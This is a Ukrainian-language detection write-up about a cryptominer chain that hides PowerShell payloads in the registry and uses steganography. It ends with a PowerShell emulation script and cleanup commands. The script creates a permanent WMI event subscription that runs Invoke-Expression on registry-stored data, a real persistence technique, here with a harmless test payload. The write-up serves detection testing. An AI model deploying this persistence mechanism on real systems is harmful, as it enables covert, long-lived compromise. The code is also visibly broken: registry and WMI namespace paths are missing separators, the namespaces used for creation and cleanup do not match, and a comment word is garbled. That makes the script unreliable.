Запуск майнінгу криптовалют у пам’яті за допомогою PowerShell, збереженого в реєстрі

Резюме

Багатостадійний ланцюг зараження використовує складні техніки обсфускації для розгортання майнера криптовалют. Атака зберігає корисні навантаження в Реєстрі та використовує записи DNS TXT разом зі стеганографією в PNG і WAV файлах для доставки наступних етапів. Останнє навантаження завантажує збірку .NET безпосередньо в пам’ять для виконання майнінгу криптовалют через екосистему XMRig.

Розслідування

Аналітики розслідували повторювані сигнали виконання PowerShell і виявили багаторівневу стратегію приховування корисних навантажень. Ланцюг зараження реконструює шкідливий вміст з нетипових контейнерів, включаючи дані пікселів зображень і нібли аудіофайлів. Виконання переходить від сценаріїв PowerShell, збережених у Реєстрі, через кілька етапів, перш ніж в кінцевому підсумку завантажити .NET майнер криптовалют безпосередньо в пам’ять.

Пом’якшення

Організації повинні запровадити сувору політику виконання PowerShell і відслідковувати підозрілі зміни Реєстру, пов’язані із зберіганням корисних навантажень. Рішення EDR повинні виявляти завантаження збірки .NET в пам’ять і аномальні запити записів DNS TXT. Також слід впровадити white-listing додатків для запобігання завантаження несанкціонованих драйверів в режимі ядра, таких як WinRing0.sys від завантаження.

Відповідь

Якщо виявлено шкідливу активність, заражені хости слід негайно ізолювати, щоб зупинити подальшу комунікацію C2 і майнінг криптовалют. Відповідальні особи повинні провести криміналістичну перевірку на наявність несанкціонованих запланованих завдань, підписок WMI і виключень Microsoft Defender. Журнали мережі також слід переглянути для виявлення з’єднань із відомими доменами C2 і підозрілих запитів DNS-over-HTTPS.

Виконання симуляції

• Сценарій атаки та команди: Зловмисник прагне забезпечити довготривалу стійкість на компрометованому хості. Замість використання звичайного ключа ‘Run’, вони обирають більш приховану постійну підписку на події WMI. Атака створює WMI CommandLineEventConsumer. Цей споживач налаштований на виконання powershell.exe. Щоб уникнути статичного аналізу командного рядка, фактичне шкідливе навантаження або конфігурація зберігаються в нестандартному шляху реєстру: HKLM:Softwareuf42a9660377vstdfehzr. Коли подія WMI виконується (симулюється тут подією системи), процес PowerShell запускатиметься, звертаючись до конкретного ключа реєстру, що, у свою чергу, запускає правило виявлення.

• Скрипт тестування регресії:

  # Скрипт симуляції: Виконання PowerShell на основі реєстру WMI
  # Цей скрипт створює специфічний ключ реєстру та підписку WMI, необхідні для запуску правила.
  
  $regPath = "HKLM:Softwareuf42a9660377"
  $regValueName = "vstdfehzr"
  $regValueData = "Invoke-Expression (Get-ItemProperty -Path '$regPath$regValueName').Payload"
  
  # 1. Створити підозрілий ключ і властивість реєстру
  if (-not (Test-Path $regPath)) {
      New-Item -Path $regPath -Force | Out-Null
  }
  New-ItemProperty -Path $regPath -Name $regValueName -Value "Write-Host 'Malicious Payload Triggered!'" -PropertyType String -Force | Out-Null
  
  # 2. Створити постійну підписку на події WMI
  # Ми використовуємо фільтр для запуску на загальній події (наприклад, чеснотривалість/старт системи) або симулюємо через створення споживача
  $filterName = "Win32_LocalTimeFilter"
  $consumerName = "Win32_CommandLineConsumer"
  $subscriptionName = "WmiPersistenceSubscription"
  
  # Створити фільтр (запускається щохвилини для цілей симуляції)
  $filterArgs = @{
      Name = $filterName
      QueryLanguage = "WQL"
      Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
  }
  $filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs
  
  # Створити споживача (PowerShell команда, що звертається до специфічного шляху реєстру)
  $commandLine = "powershell.exe -Command `"$regValueData`""
  $consumerArgs = @{
      Name = $consumerName
      CommandLineTemplate = $commandLine
  }
  $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs
  
  # Зв'язати фільтр і споживача
  Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{
      Filter = $filter
      Consumer = $consumer
  }
  
  Write-Host "[+] Симуляція: Підписка WMI та ключ реєстру успішно створено."
  Write-Host "[+] Очікування події WMI для запуску виконання PowerShell..."
  # Примітка: У реальному середовищі ми чекаємо події. 
  # Для цілей тестування правило часто шукає *створення* або *запуск події*.

• Команди очищення:

  # Скрипт очищення
  Write-Host "[!] Очищення артефактів симуляції..."
  
  # 1. Видалити підписку WMI
  Get-WmiObject -Namespace rootsubscription -Class __EventFilter -Filter "Name='Win32_LocalTimeFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace rootsubscription -Class CommandLineEventConsumer -Filter "Name='Win32_CommandLineConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace rootsubscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -match "Win32_LocalTimeFilter" } | Remove-WmiObject
  
  # 2. Видалити ключ реєстру
  Remove-Item -Path "HKLM:Softwareuf42a9660377" -Recurse -Force
  
  Write-Host "[+] Очищення завершено."